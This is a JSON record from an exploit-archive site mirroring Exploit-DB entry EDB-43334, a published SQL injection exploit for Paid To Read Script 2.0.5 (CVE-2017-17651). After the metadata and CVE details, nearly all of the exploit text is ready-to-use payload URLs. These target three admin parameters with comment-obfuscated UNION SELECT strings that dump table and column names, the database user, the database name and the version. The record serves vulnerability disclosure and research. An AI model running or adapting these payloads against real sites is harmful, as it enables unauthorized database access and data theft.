{"exploit":{"id":"EDB-43334","name":"Paid To Read Script 2.0.5 - 'uid'/'fnum'/'fn' SQL Injection (SQLi)","description":"Paid To Read Script 2.0.5 - 'uid'/'fnum'/'fn' SQL Injection (SQLi)","cves":["CVE-2017-17651"],"author":"Ihsan Sencan","published":"2017-12-14","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43334","path":"exploits/php/webapps/43334.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43334.txt","vulnerabilities":[{"id":"CVE-2017-17651","state":"PUBLISHED","title":null,"titleSource":null,"description":"Paid To Read Script 2.0.5 has SQL Injection via the admin/userview.php uid parameter, the admin/viewemcamp.php fnum parameter, or the admin/viewvisitcamp.php fn parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-17651","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-17651"},"updatedAt":"2024-08-05T20:59:17.143Z","retrievedAt":"2026-11-26T15:10:55.739Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43334.png?v=2","url":"https://exploitbin.com/exploits/EDB-43334","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43334/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43334/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# # # # #\n# Exploit Title: Paid To Read Script 2.0.5 - SQL Injection\n# Dork: N/A\n# Date: 13.12.2017\n# Vendor Homepage: https://www.phpscriptsmall.com/\n# Software Link: https://www.phpscriptsmall.com/product/paid-to-read-script/\n# Version: 2.0.5\n# Category: Webapps\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: CVE-2017-17651\n# # # # #\n# Exploit Author: Ihsan Sencan\n# Author Web: http://ihsan.net\n# Author Social: @ihsansencan\n# # # # #\n# Description:\n# The vulnerability allows an attacker to inject sql commands....\n#\n# Proof of Concept:\n#\n# 1)\n# http://localhost/[PATH]/admin/userview.php?uid=[SQL]\n#\n# -9++/*!08888UNION*/(/*!08888SELECT*/(1)%2c(2)%2c(3)%2c(4)%2c(5)%2c(6)%2c(7)%2c(8)%2c(9)%2c(10)%2c(11)%2c(12)%2c(13)%2c(14)%2c(15)%2c(16)%2c(17)%2c(18)%2c(19)%2c(20)%2c(21)%2c(22)%2c(23)%2c(24)%2c(25)%2c(26)%2c(27)%2c(28)%2c(29)%2c(30)%2c(31)%2c(32)%2c(33)%2c(34)%2c(35)%2c(36)%2c(37)%2c(38)%2c(39)%2c(40)%2c(41)%2c(42)%2c(43)%2c(44)%2c(45)%2c(46)%2c(47)%2c(48)%2c(/*!08888Select*/+export_set(5%2c@:=0%2c(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5%2cexport_set(5%2c@%2c/*!08888table_name*/%2c0x3c6c693e%2c2)%2c/*!08888column_name*/%2c0xa3a%2c2))%2c@%2c2))%2c(50)%2c(51)%2c(52)%2c(53)%2c(54)%2c(55)%2c(56)%2c(57)%2c(58)%2c(59)%2c(60)%2c(61)%2c(62)%2c(63)%2c(64)%2c(65)%2c(66)%2c(67)%2c(68))--+-\n#\n#\n# 2)\n# http://localhost/[PATH]/admin/viewemcamp.php?fnum=[SQL]\n#\n# -1++/*!08888UNION*/(/*!08888SELECT*/+0x253238253331253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x253238253333253239%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239)--+-\n#\n#\n# 3)\n# http://localhost/[PATH]/admin/viewvisitcamp.php?fn=[SQL]\n#\n# -6++/*!50000UNION*/(/*!50000SELECT*/0x253238253331253239%2c0x253238253332253239%2c0x253238253333253239%2c0x253238253334253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239%2c0x253238253331253333253239%2c0x253238253331253334253239)--+-\n#\n#\n# # # # #","sha256":"587db879a3a085602b0f0b1033a6655026e57c79ef76c3a5a0fb46e4de1e4bfa","bytes":2231,"fetchedAt":"2026-11-26T15:10:54.062Z","encoding":"utf-8 (display only; download retains original bytes)"}